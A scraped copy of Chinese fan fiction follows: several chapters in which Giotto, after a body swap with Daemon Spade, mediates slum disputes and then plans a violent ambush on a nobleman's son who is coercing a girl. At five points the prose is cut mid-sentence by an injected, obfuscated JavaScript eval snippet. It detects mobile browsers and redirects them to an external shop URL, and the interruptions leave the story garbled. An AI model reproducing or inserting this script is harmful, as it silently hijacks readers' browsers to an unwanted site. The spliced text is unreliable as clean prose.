“不是软弱……”乔托轻声呢喃，更像是在说服自己，“是……选择，权力可以肆无忌惮地碾压过去，也可以……稍微绕一下路，给人留下一线生机。” 他想起艾琳娜那双亮晶晶的眼睛，想起她那些在戴蒙看来天真可笑，在他这个贫民窟少年看来无比遥远的美好理想。 塞弗诺拉对他的说法嗤之以鼻：“绕路？浪费时间和力气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218855|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敌人可不会对你绕路。” 他盯着乔托：“你这几天不对劲，还在想着葬礼上那个……” 塞弗诺拉的话音未落，G就顶着一头乱糟糟的头发冲了进来，手里紧紧攥着几个黄澄澄的小橘子，带着淤青的脸上满是得意。 “乔托~你醒了！快看我找到了什么……塞弗诺拉你这个混蛋，又把好的面包先挑走了？”他看到乔托手里的黑面包，立刻对塞弗诺拉怒目而视。 “有的吃就不错了，挑剔鬼。”塞弗诺拉反唇相讥。 G懒得再跟塞弗诺拉争执，快步走到乔托身边，把橘子一股脑都塞到他手里，眼睛亮晶晶的，像藏了星光：“快吃，我跟码头的货郎软磨硬泡了好久才搞到的，这大冬天想找点新鲜果子可真是太难了。” 他蹲在乔托身旁，像一只在等待表扬的大型犬，全然不在意自己的脸上还有淤青在渗血。 乔托看着G满脸真诚的关切，看着他一身狼狈却依然灿烂的笑容，心口那块儿从北方带回来的，因为权力博弈而凝结的郁气忽然被冲散了不少。 他接过橘子，手指触摸到微凉的果皮，清新的柑橘香在鼻尖弥漫。 “G，”他把剥好的果肉分给两人，声音认真，“如果……我是说如果，以后我们不止要保护这条街上的人，如果有更多像我们一样的穷人在远方受苦，需要有人哪怕只是多管闲事地提几个字才能活下去，我们……该怎么办？” G茫然地眨眨眼，显然完全没有听懂这段绕来绕去的话，但他敏锐地捕捉到乔托眼中的认真，还有一种他从未见过的，沉甸甸的责任感。 他挠挠头，咧嘴一笑，不巧正好扯痛了伤口：“还能怎么办？你指路，我打架！塞弗诺拉负责吓唬人！谁需要帮助，我们就去帮啊！” G凑得更近了一些，压低声音，脸上露出贼兮兮的笑容：“你的语气怎么跟那些滑头官老爷似的？乔托你从哪里学会这些弯弯绕绕的东西的？” 塞弗诺拉在一旁发出毫不客气的嘲笑：“看吧，他自己都说不清楚，一天到晚净想些不切实际的。” 乔托没有反驳他的嘲笑，也没有详细解释自己的经历。有些事情太过离奇，说了他们也不会相信，又何必让他们担心呢。 他只是慢慢吃着橘子，细细品味这冬日难得的酸甜，感受着同伴就在身边的安稳。 记忆的碎片在脑中沉浮，华贵书房里的阴冷算计与眼前破败小屋的争吵热闹，艾琳娜理想主义的火焰，还有戴蒙·斯佩多，那个苍白俊美却把手枪放在枕头下的少年贵族，他此刻是否正在某处，面对着自己留下的烂摊子暴跳如雷？ 一种前所未有的清明，混杂着更沉重的责任感，悄然取代了最初的震惊与茫然。力量，不仅是塞弗诺拉信奉的拳头，也不仅是G毫无保留的忠诚。 它也可能藏在华丽文书下的一个笔误，一条附在理想蓝图旁边的微小建议，也可以是深处敌营时，依然选择在规则的边缘为别人留下一线生机的勇气。 他拍掉手上残留的面包屑，目光扫过满脸不耐的塞弗诺拉和眼神纯粹的G。 “没什么，”他最终开口，声音平静了许多，眼底却有什么东西沉淀了下来，眼神比以往任何时候都更加清晰，也更加坚定，“只是做了一个很长的梦，梦到了一些……不同的选择，不同的人生。” 但梦里的选择，或许有一天能在醒来时继续。 5. 第 5 章 巴勒莫码头的清晨，空气里混合着鱼腥气和海盐的味道。 乔托站在货箱的阴影里，看着两伙搬运工互相推搡叫骂。额角的汗水顺着他们黝黑的脸颊滑落，攥着木棍的手臂青筋暴起，一切都在预示着一场流血的械斗即将爆发，就像过去几十年间，这个混乱的码头见证过的无数场争斗一样。 “罗西的人昨天就占好这块位置了！” “放屁！那艘船是我们先看见的！” 乔托的手指无意识地收紧了。 要是在一个月以前，他会毫不犹豫地和G一起站在好友科扎特那边，抄起手边任何能当武器的东西加入战斗，但现在，他的视线越过那些愤怒的脸，落在不远处那个不断翻看怀表的中年男人身上。 商船的管事。 零散的记忆带着都灵的寒气浮现，斯佩多那些关于效率、关于解决问题的思路，想一扇突然推开的窗子，让他看到了以前只用拳脚争斗时从没注意过的道路。 可是，我真的……能像他那样说话和解决问题吗？ 乔托的心里掠过一丝自我怀疑。戴蒙是贵族，是军官，他的语言和思维属于上面那个井然有序的世界，而自己只是个在温饱线上挣扎的贫穷小鬼，连识字都是拖了奶奶和神父的福。 他深吸一口气，冰冷的海风灌进肺里，稍微压下了心底的忐忑。他知道这是一次冒险，但或许值得一试。 “乔托！你还愣着干什么？”科扎特·西蒙回过头吼他，手里已经握住一截断裂的船桨。 [就试试这一次。]乔托对自己默念，[如果这套说辞没用，大不了和以前一样抄起家伙和兄弟们一起上，顶多挨几拳，流点血，没什么大不了的。] 他挤过人群，在商船管事的面前三步停下，保持一个所谓礼貌而不冒犯的距离。 “先生。” 管事带着不耐烦的表情抬起头，本想挥手赶走这个不知天高地厚的小子，却听见对方用一种奇怪的、带着生硬书面语的腔调开口： “耽误您时间了，我注意到您的船比其他人的都大，想必需要搬运的货物也要更多。所以我有个提议，可否让这两伙人一起接下您的差事，阿马托的人负责左舷，罗西负责右舷，同时开工效率更高，您监工也更方便。” 乔托指了指两边领头的人，心跳得厉害，每一秒都觉得自己像个偷穿大人衣服的小孩子，带着随时都会被戳穿的恐慌。 “你算什么东西？”罗西那边的工头骂道，“我们的事轮得到你这个毛都没长齐的小屁孩来插嘴？” 管事却突然抬手，厉声制止了叫骂。他眯起眼睛盯着乔托看了几秒，眼神锐利而冰冷，让乔托下意识地绷紧了脊背。 然后他猛地拍了下手：“就这么办！左边，右边，快！太阳落山前我要看到货舱清空！” 械斗的戾气像气球被针突然戳破一样泄了。搬运工们愣了片刻，罗西工头还想说些什么，但看到管事不耐烦的表情，终究还是呸了一口，挥手让自己的人往右边走去。 科扎特站在原地，看着乔托，表情复杂。 那天傍晚，科扎特在港口昏黄的灯光下打量他。 “你从哪里学来的那一套？”他压低声音，语气里带着困惑和一丝不易察觉的疏离。 乔托抬头望着沉沉夜色，路灯的火苗微弱，像是随时都会被黑暗吞噬。他想起在戴蒙·斯佩多身体里醒来时，会议室里那盏华贵明亮的水晶吊灯，想起书房军务文件上那些冰冷的字眼。 “……梦里吧。”他说。 …………………………………………………… 一年一度的税务官巡查又要开始了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218856|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔托悄悄召集了十几个熟识的邻居聚在废弃的磨坊里。一盏煤油灯挂在房梁上，昏黄的灯光在墙上投下斑驳的影子，映出一张张布满紧张和疑虑的脸。 “我们要打扫。”乔托说。 磨坊里陷入一阵死寂，几秒钟后响起不以为然的嗤笑，有人摇起了头，觉得这个提议简直荒唐又可笑。 “乔托，你是被鬼给附身了吗？卡尔瓦诺那个小心眼会因为我们打扫了就心软？” “不是全部都要打扫。”乔托没有理会他们的嘲笑，而是拿起一根树枝，在地上画出简易路线图，“我们只打扫卡尔瓦诺会经过的那一条主干道。G，你带着孩子们负责从街口到喷泉这一段。玛丽亚奶奶，您和几位老人家就坐在自家门口修补东西，什么都行，但要看起来干净体面。” 他抬起头，扫过每一张脸。 “塞弗诺拉，你得呆在屋里子。去年你就差点揍了卡尔瓦诺，今年坚决不能再给他借口了。还有你们几户临街的，把实在破得不成样子的东西暂时搬到后院去。” “这不是在演戏么？”有人嘟囔。 “没错，这就是演戏。”乔托坦然地点点头，语气却严肃又认真，“我们都清楚卡尔瓦诺就是个趋炎附势的卑鄙小人，他只会对着我们耀武扬威，只想着怎么敷衍地完成任务。我们给他一个‘虽然穷，但在努力生活’的印象，他就少了往死里逼我们，胡乱加罚金的借口。” 科扎特一直靠在墙边沉默地听着，此刻，他忽然直起身，开口道：“我带着弟弟妹妹去扫街口外面那一段，那里堆的垃圾最多，也最显眼。” 乔托惊喜地看向科扎特，眼里满是感激。 科扎特有些不太自在地别过脸，避开他的目光，但终究没有收回自己的话。那是属于好友之间的默契，无需多言。 6. 第 6 章 税务官来的那天，天空是铅灰色的。 卡尔瓦诺骑着一匹瘦马走进贫民窟，身后跟着两个手拿账本的助理。他原本准备好迎接脏乱恶臭和敌意的眼神，那些都可以是他增加罚款的理由。 但他实际看到的是刚刚打扫过的街道。虽然只清扫了主干道，但路上的垃圾确实不见了。几个老人坐在门口，缝补着已然打满补丁却清洗干净的旧衣服，孩子们躲在母亲身后偷看，比安卡修女在街角假装洗抹布，空气里飘着淡淡的肥皂味。 乔托站在人群边缘，内心忐忑。 他仔细观察着卡尔瓦诺皱起的眉毛、挑剔的眼神，以及在马背上微微后仰的姿势，这些都和过去一样，也符合他从戴蒙的视角看到过的对底层官僚的描述。他们不在乎真相，只在乎表面是否好看，只在乎怎么能最大化地偷懒并完成任务，只要能交差，他们什么都可以糊弄过去。 卡尔瓦诺下马，用鞋尖踢了踢路边的石子，石子滚进排水沟，里面其实还有堆积的淤泥，但至少表面上已经看不见了。 “这里，”他指向一户人家的门墙，“有裂缝。” 那家的女主人赶紧上前，露出小心翼翼的笑容，语气带着讨好：“大人，我们已经求了泥瓦匠，他说下周就过来补。您看，我们连材料都准备好了。”她指着墙角一小袋石灰，那是乔托特意让大家提前准备的。 卡尔瓦诺盯着她看了几秒，又环顾四周，目光从低头做活的老人、尽量整齐的杂物和孩子们洗干净的脸上扫过，眼中的那股刻薄劲儿渐渐淡了些。 最后，他在另一户人家的门前停下，那里确实有一些没有藏好的破败。 “卫生隐患，罚款。”他开口道，但声音比所有人预料的都要小，语气也没有往年那么蛮横。 身后的助理翻开账本，笔尖滑动写下金额。乔托悄悄踮脚瞥见了数字，他心里一松，金额只有去年的三分之一，完全在大家的承受范围之内。 卡尔瓦诺离开时，天空正好有些许放晴，一缕阳光从云层中探出来，照在干净的街道上，还没干的水渍泛起一层薄薄的金光。 贫民窟里没有欢呼，人们太累了，连庆祝都显得奢侈，但乔托看到有许多双眼睛看着他，那目光里有一种久违的希望。 玛丽亚奶奶颤颤巍巍走过来，往他手里塞了半个面包，枯枝一样干瘦的手紧紧握住乔托的手：“谢谢你，孩子。” 那天夜里，乔托独自爬上能俯瞰贫民窟的矮坡。坡下是层层叠叠的棚户区，仿佛永远无法挣脱的贫穷和绝望在里面蔓延，但今晚，他总觉得有几盏灯亮得比往常更久一些，在黑暗里挣扎着不肯熄灭。 “你变了，乔托。” 科扎特的声音从背后传来。乔托回过头，看见他拿着一个破酒瓶过来，然后坐下。他把酒瓶递给乔托，那是能买到的最便宜的葡萄酒，口味酸涩，喝起来呛人，也是他们能找到的最好的庆祝品。 乔托接过酒瓶，笑道：“是好是坏？” “不知道。”科扎特老实说，“你这段时间用的方法……和以前有很大不同，但结果确实是好的。” 他顿了顿，又说：“今天扫街时，我妹妹问：‘哥哥，我们打扫干净了，税务官会对我们好吗？’我说不会，但她又说：‘可是扫干净了，我们自己住着也会舒服一些。’” 随后，两人不再说话，只是沉默地喝着葡萄酒，酸涩的酒水滑过喉咙，带来一阵灼热。远处，码头的灯塔每隔几分钟就转一次，光穿透黑夜投向海面，又缓缓扫过贫民窟的边缘。 “我觉得规则就像灯塔的光。”乔托突然开口，“它照亮哪里，哪里就能被看见，就能拥有光里的秩序。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218857|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们之前一直生活在黑暗里，不是因为真的没有光，而是因为那些光从来不会转向我们这样的人。” 他顿了顿，转头看向科扎特：“但我现在觉得，也许我们可以学会自己制造一点点光，在规则与秩序的间隙里，为了自己，也为了大家。” 科扎特没有完全听懂他的意思，但话语里的坚定和无畏却一目了然，那是一种在这绝望的贫民窟里极其罕见的不甘沉沦的力量。 “下次再有纠纷，”他最终开口说道，“你先按照自己的想法来，我……我会帮你的。” 这是一句简单的承诺，也是一句沉重的誓言。 乔托仰头喝完瓶子里的最后一口酒，劣酒带来的灼热蔓延至全身。他忽然觉得从戴蒙那里学来的冰冷思维，和自己与生俱来的热血冲动，好像慢慢融合在了一起，变成一种绵长的、温暖的力量。 他看到黑暗在那里，却选择主动寻找光。 路还很长，前方还有更多不可知的东西，但今夜，在贫民窟的边缘，一个少年第一次确信：规则的间隙或许很小，但已经足够让些许微光渗透进来，而光一旦穿进黑暗，哪怕仅有微弱的一丝，那片黑暗也不再是以前那个让人绝望的地方了。 他开始思考下一步。 如果一次策划好的清洁可以减少税务官的罚款，那么能不能想想类似的办法，让码头分活的时候更加公平？能不能让贫民窟的孩子不止学会躲避纷争，还有机会识字、算数，看懂那些用来管着他们却从来不让他们知道的条文？ 灯塔的光再一次扫过。 这一次，乔托没有躲进阴影里。 他站在光里，虽然只有一瞬，但那一瞬足够漫长，漫长到可以让他清晰看见黑暗的另一边，不只有无边的黑暗，还藏着更多的可能性，藏着一些值得他努力去争取的未来。 7. 第 7 章 巷子里的风裹着鱼腥味和木头被浸湿后的潮味，这是乔托最熟悉的味道。如今他走在路上，脚步比三周前要慢了不少，因为已经开始有人专门在路上等他了。 “小顾问来了！” 巷口那个缺了一颗门牙的小不点一喊，旁边几扇歪斜的木门就被推开了，探出几张带着期盼的脸庞。 乔托微微抬了抬头，脊背挺直了些。这三周里，他调解过码头工头们的争斗，帮街坊邻居把罚款从十五个杜卡托降到五个，还靠拆解规则保下了五个差点被送进矿场的孤儿。 这些小小的胜利，就像在粗布外套上绣了几针金线，虽然改变不了贫穷的实质，但可以在光线下的一些特定角度让人暂时忘记窘迫。 “乔托，帮我看看这张契据！”面包店的学徒挤过来，手里的粗纸皱巴巴的。 乔托接过来，趁着晨光细看。 “这里，”他指着签名处，“要两个证人按手印，你只找了一个。” 学徒恍然大悟，千恩万谢地走了。 乔托继续往前走，巷子两侧的目光注视着他，有感激，有好奇，也有几户人家眼里藏着嫉妒。 贫民窟的道路还是坑坑洼洼的，不会因为这一点点认可就变得平坦，但无论如何，现在走在路上，确实比从前要踏实了一点。 傍晚时分，雨云从海的方向压过来，乔托和科扎特坐在废弃磨坊的断墙上分吃一块面包。 “我该收半块面包当咨询费。”乔托咬了一口，开玩笑说。 科扎特听到这话，用胳膊肘狠狠撞了他一下，力道没收住，差点把乔托从断墙上推下去。 “少得意忘形了，小子。”他的语气带着警告，眼神却藏着关切，“别飘太高了，那些老爷们随便打个喷嚏，你这点靠着小聪明攒下的成果，就得跟着空气一起全散干净了。” “我知道分寸。”乔托低声说道。 他扶着墙稳住身体，脸上的笑意有些僵硬。虽然嘴上这样说，心里却没有底，连他自己都不确定，这句话是清醒的自我告诫，还是自欺欺人的谎言而已。 ……………………………… 莉娜是随着第一阵急雨冲进屋子里的。 门板被撞开的瞬间，雨水混着暮色跟在少女的身后一起泼了进来。她浑身湿透，单薄的裙子贴在身上，勾勒出少女正在抽条的轮廓。但乔托没有注意这些，他只看见那双眼睛圆睁着，里面盛满了快要溢出来的恐惧，像一只受惊的小鹿一样。 “是马尔科·拉涅利……”她牙齿打颤，每个字都像是要碎在空气里，“他是拉涅利家管事的儿子，他说……说我必须去他家当女仆……” 乔托连忙抓起一块还算干净的粗布递给她。塞弗诺拉已经站起身，默默走过去把漏风的门板关好，又找了一根木棍顶上，屋外的雨声顿时闷了下去。 “慢慢说。”乔托的声音比他预想的还要平静。 这三周的经历让他生出一种错觉：只要保持冷静，任何问题都能被拆解、分析，找到解决办法。 莉娜的叙述断断续续，夹杂着抽泣。 马尔科上周在集市看见了她，之后便三次“偶然”出现在她回家的路上，眼神轻佻又冒犯。今天傍晚，他直接带着两个跟班拦住她，给了她两个选择：要么自愿去他家当女仆，要么他就去告发她父亲偷了仓库的面粉。 “父亲会坐牢的……”莉娜的眼泪随着话语一滴滴落下，“我们拿不出证据证明清白……” 塞弗诺拉听完，狠狠往地上啐了一口，暗红色的眼睛里满是怒火：“狗杂种，仗着家里有点势力就为非作歹！” 乔托的脑子转得飞快。拉涅利家是个本地有三处房产的小贵族，城郊有葡萄园，平时靠着收租和开酒馆过活。马尔科·拉涅利，今年二十岁，好赌好色。但他只是管事家的儿子，不是真的贵族。这意味着什么？意味着他可能更贪婪，也可能更脆弱，一个需要证明自己有权力的人，往往比天生有权势的人更难缠。 “我们可以谈。”这话说出来很自然，连乔托自己都快信了，“凑一笔钱，作为他放过你的补偿。” 塞弗诺拉猛地站起来，眼里全是不敢相信：“你疯了！和这种东西讲价钱？这只会让他觉得我们好欺负！” “总比被咬死来得好。”乔托也站了起来，在狭小的屋里来回踱步，“先按照他们的规矩来，如果他们不讲道理……” 他停下脚步，想起曾经看到过的一句话：当对方打破规则的时候，你得到的不仅是报复的权利，还有选择新战场的机会。 “我们再想别的办法。” 拉涅利家的仓库办公室在贫民窟的边上，是一栋石头砌成的两层楼。它杵在一片木板房中间，像一颗坏死的灰白牙齿。 乔托进门时，一股霉味和葡萄酒的酸腐气扑面而来。马尔科·拉涅利坐在仓库深处一张过大的木桌后面，桌子上胡乱堆着账本、空酒瓶和吃剩的半只鸡。他抬眼瞥了乔托一下，像看到一只溜进屋里的老鼠。 “拉涅利先生，”乔托开口，声音平稳，“关于莉娜·贝洛蒂的事——” “啊，那小美人。”马尔科打断他，向后靠进椅子里，压得木椅发出一阵呻吟，“你是什么人？她哥哥？相好的？还是新冒出来的好心人？”他的语气里满是戏弄，眼中的轻蔑简直要流淌出来。 乔托压住喉咙间的不适，强迫自己保持平静：“我既不是她的家人，也不是情人，只是代表她们来和您商量一个对双方都有利的解决办法。” 他掏出那个沉甸甸的钱袋，小心地放在桌子上。 三十个杜卡托对于拉涅利来说不算什么， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218858|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但对于贫民窟的人来说是一笔要咬牙才能凑出来的数目。 “三十个杜卡托。”乔托吸了口气，开始背路上练好的话，“够您雇佣两个熟练女仆一整年的了。莉娜才十六岁，只会干粗活，根本不会伺候人，肯定会给您添乱的。” 他说话时，注意到马尔科的手指在桌面上敲击。起初杂乱，然后逐渐规律起来。 哒，哒哒哒，哒哒。是城里赌坊最近流行起来的骰子歌的旋律。 乔托说完最后一个字，房间里陷入安静，沉默像霉菌一样在潮湿闷热的空气中蔓延。他站着，能清晰地听见自己的心跳，还有窗外淅淅沥沥的雨声。 马尔科笑了。 那笑声起初只是喉咙里挤出来的咯咯声，带着毫不掩饰的嘲讽，随后突然爆发成尖利的高音，刺耳又嚣张。 他笑得前俯后仰，手不住地拍打桌面，甚至连眼泪都从眼角挤了出来。 乔托僵硬地站着，感觉自己的尊严正被这笑声一层层剥开。科扎特的警告在耳边回响，但他咬着牙，努力挺直脊背站稳。 “你们……”马尔科喘着气，擦掉眼角的泪水，笑意未达眼底，“你们这群住在粪堆里的老鼠，也配和我谈条件？你以为自己是谁？戴个破帽子就觉得自己成了人物了？” 他慢慢站起身，绕过桌子。厚皮靴踩在木地板上，发出沉闷有力的声音，每一步都像踩在乔托的胸膛上，让他呼吸愈发困难。 “我看上那个女孩，”他停在乔托面前，酒气混着难闻的汗味喷到乔托脸上，“是她这辈子最大的福气，至于你们这几个臭钱？” 他一把抓起钱袋，掂了掂，脸上只剩下纯粹的轻蔑。 雨还在下，细细密密，像一张大网笼罩着窗外的贫民窟。 马尔科走到窗前，猛地推开窗户，冷冷的雨水和风一起灌进来。 乔托顺着他的目光看去，对面的屋檐下，有几个半大的孩子正缩在一起躲雨，神色惶惶。 “拿去——”马尔科拉长声音，像是在念戏剧的台词，“喂狗吧！” 钱袋划了一道弧线落在街心的泥水里。它躺在泥浆表面，像一块难看的补丁，泥水慢慢浸透麻布，吞掉那些凑了又凑的钱币。 屋檐下的孩子们愣住了，眼里满是震惊和无措。最小的那个孩子下意识地向前迈了一步，似乎想要过去捡起钱袋，却在下一秒对上了马尔科凶狠的目光，猛地缩了回去，紧紧攥着同伴的衣角。 马尔科满意地看着这一幕，缓缓转回身，脸上戏谑的笑容彻底消失，只剩下冰冷刺骨的恶意。 “滚吧，明天日落以前，我要看到那个女孩自己走到我家后门，否则……”他凑近，声音压低成耳语，“你知道贫民窟的监狱是什么样吗？听说老鼠会在犯人睡觉时，从脚趾开始一点一点把人吃掉。” 8. 第 8 章 雨下得更大了。 乔托站在废弃磨坊的木门前，浑身早已被雨水淋透，衣服紧紧贴在身上，冻得他瑟瑟发抖。水珠顺着下颌线不断滴落，分不清那究竟是冰冷的雨水，还是隐忍的泪水。 磨坊里挤着二十多个人。塞弗诺拉、G、莉娜的父亲老贝内蒂，还有其他几个相熟的邻居。人们大多沉默着，或蹲或靠，只有角落陆续传来压抑的哭泣——莉娜的母亲蜷缩在老贝内蒂的身边，控制不住地颤抖着。 “他把钱扔了。”乔托说，声音有些空洞，“扔到街上，说那是喂狗的。” 磨坊里响起一阵压低的咒骂，老贝内蒂猛地捂住脸，肩膀抽动起来。那三十个杜卡托，有他给女儿攒下的全部嫁妆。 “他还说，”乔托顿了顿，嗓音沙哑，“明天日落前，莉娜得自己走到他家后门，不然……贝内蒂先生会在监狱里被老鼠吃掉。” 塞弗诺拉再也按捺不住怒火，猛地一拳砸在斑驳的墙上，坚硬的拳头与破败的墙面相撞，发出沉闷的声响，墙皮簌簌落在他的脚边。 “狗娘养的。”他嘶声道。那双暗红色的眼睛在昏暗的灯光下像在燃烧。 G慢慢走到乔托身边，粗糙的手掌轻轻搭上他湿漉漉的肩膀，掌心的温度透过冰冷的衣服传递过来，带着一丝安慰：“现在怎么办，小顾问？” 那声熟悉的“小顾问”，此刻却像一根尖锐的刺，狠狠扎进乔托的心里。这三个星期以来，他靠着调解纠纷、解读契约、在规则的缝隙中为大家谋求生路，一点点建立起来的信心，在马尔科的羞辱与威胁面前彻底碎成了粉末。 他曾经天真的以为，自己已经触摸到了世界运行的规律，找到了对抗不公的方式。直到现在才明白，那不过是水面上虚幻的倒影，真正的力量还藏在水底，黑暗的，冰冷的，毫无道理可讲的蛮横。 “他什么时候落单？”乔托终于开口，声音里褪去了往日那点故作的沉稳。 G抬眼：“每星期三晚上，他会去金珊瑚酒馆赌骰子，深夜才回去。九点左右会经过黑巷，那两边都是废弃的仓库，没有灯，黑得很。” 乔托走到磨坊中央的破木台前，伸手扫开积灰和蛛网。他捡起半截烧黑的炭条，在台面上用力画起黑巷的轮廓、两头的出口和仓库的位置。 “这里。”他在巷子中段画了个叉，“我们埋伏在这个位置。塞弗诺拉，你带三个人堵在西口，G你带人堵东口，其余的跟我动手。” 人们围了上来，那些粗糙的炭痕此刻成了黑暗里唯一清晰的东西，心中长久的压抑找到了出口。 “我们要打到他再也不敢提莉娜的事，打到他彻底怕了为止。”乔托用炭条狠狠划了几道，语气里满是决绝，“打断他的腿，让他在床上躺几个月，等伤好了，这件事也就淡了，而拉涅利家未必还会追究。” 老贝内蒂低头盯着脚尖，低声说：“要是……要是他们报复呢？” 磨坊里瞬间又陷入了死寂，刚才燃起的斗志仿佛被一盆冷水浇灭，只剩雨声敲打着屋顶，水滴从漏洞滴下，在地上积起浑浊的水洼。 乔托看着那些水洼，水面上倒映着人们模糊的脸，疲惫的、愤怒的、恐惧的脸。 他想起自己作为戴蒙时敲定的处置决议，那个副官冷静地列出一条条罪责，语气平淡，仿佛那些涉及的不是人命，只是可以随意摆弄的棋子。 而现在，他也变成了那样的人，在贫民窟的磨坊里，用一根炭条冷静地规划着一场血腥的暴力。 “如果他们报复，”他听见自己的声音响起，带着奇怪的平静，“我们就一起承担，要么一起死，要么一起活，没有中间路。” 话音落下，老贝内蒂死死盯着地面的头猛然抬起，过了几秒，他用粗糙的袖子狠狠擦了把脸，擦掉泪水与灰尘。那个一直佝偻着身体，仿佛被生活压垮的老人，此刻脊背似乎微微挺直了一些，眼里也多了几分决绝。 G盯着他，眼神复杂：“乔托，你变了。” “不，”乔托摇头，手里的炭条“咔”地断成两截，“我只是看清了。” 雨仍然在下。 从破损的窗户望出去，贫民窟的屋顶连成灰蒙蒙的一片，远处的拉涅利仓库在雨幕里像一只蹲着的野兽。 乔托走到窗边，望向仓库的位置，掌心被炭黑污染的地方传来细微的刺痛，像一枚烙印。 他曾以为自己学会了用头脑、用规则、用智慧去寻找一条体面的出路，但现在他彻底明白了，当对方根本不屑于遵守任何规则，只信奉暴力与强权时，你就只剩下两个选择：要么跪下屈服，要么亮出牙齿，拼个你死我活。 但他不知道的是，这场暴力仅仅是一个开始，真正的战争，从来不在黑巷的阴影里，而在这场冲突之后。 当拉涅利家的管事发现自己儿子被打断腿，当那些上层人士的面子被贫民窟的老鼠撕破时，那些所谓的“规则”将会露出它最狰狞、最残酷的一面，给予他们最沉重的报复。 冷风从窗户灌进来，混着雨水和港口的咸腥气，乔托打了个寒颤，一种不安的预感涌上心头。 他转头看向磨坊里的人们，昏黄的灯光下，他们的眼睛亮着，像一群被逼到绝境的狼。 “明天晚上，”乔托说，声音不算大，但清晰地传到每一个人耳中，“九点，黑巷。” 没有人说话，磨坊里只有沉重的呼吸声和外面的雨声。人们纷纷沉默着点头，拳头紧紧攥起，骨节发出轻微的““咔咔”声，那是决心的证明，也是绝望的抗争。 雨继续下着。 乔托走出磨坊时，天色已经完全黑了，雨水打在他的脸上，冰冷刺骨。 他忽然想起戴蒙，那个与他交换了灵魂的贵族军官。此刻的他大概正坐在温暖明亮的书房里，批阅着文件，品着香醇的红酒，和同僚们讨论政治与战争，过着养尊处优的生活。 他永远不会知道，在亚平宁半岛的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218859|197482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一头，在这个破败的贫民窟里，一场关于生存与尊严的战争正在悄然拉开序幕。这场战争的规则残酷、直接，与他所熟知的那个上层世界截然不同。 乔托缓缓抬起头，任由冰冷的雨水冲刷着自己的脸庞，仿佛要洗去所有的屈辱与犹豫。掌心细微的刺痛感时刻提醒着他，从今天起，他不再是那个只会在规则间隙寻找生机的贫民窟小子，也不再是那个被大家依赖的“小顾问”。 从今天起，他要做那个决定带领狼群亮出牙齿的人。 他不知道这个决定最终会把他引向何方，他只知道，回头的路已经被堵死了，被马尔科那肆无忌惮的笑声，被那些散落在泥泞里的钱币，被这个残酷世界的规则，彻底地堵死了。 前面只有黑暗，和黑暗中等待的刀锋。 时间像融化后粘稠的糖浆，缓慢而沉重地流淌着，每一分每一秒都充满了煎熬。空气中弥漫着紧张的气息，让人喘不过气来。 远处传来城区酒馆隐约的喧闹声，夹杂着手风琴的旋律，断断续续飘在夜空中。 贫民窟的夜晚从来不会真正安静，总有婴儿的啼哭、夫妻的争吵和老鼠在木板下穿梭的簌簌声。但这一刻，乔托的世界里只剩下自己的心跳声，一下一下，沉重有力地敲打着他的耳膜，也敲打着他紧绷的神经。 然后他听到了脚步声。 月光洒进巷口，把一个蹒跚的影子拉长，投进黑暗。 是马尔科。 脚步声近了，带着酒后的踉跄，踩在泥泞里啪嗒作响。他醉醺醺的声音在巷子里回荡，轻佻又傲慢： “……那小母鹿的眼睛，你们看见了吗？水汪汪的，明天我就……” 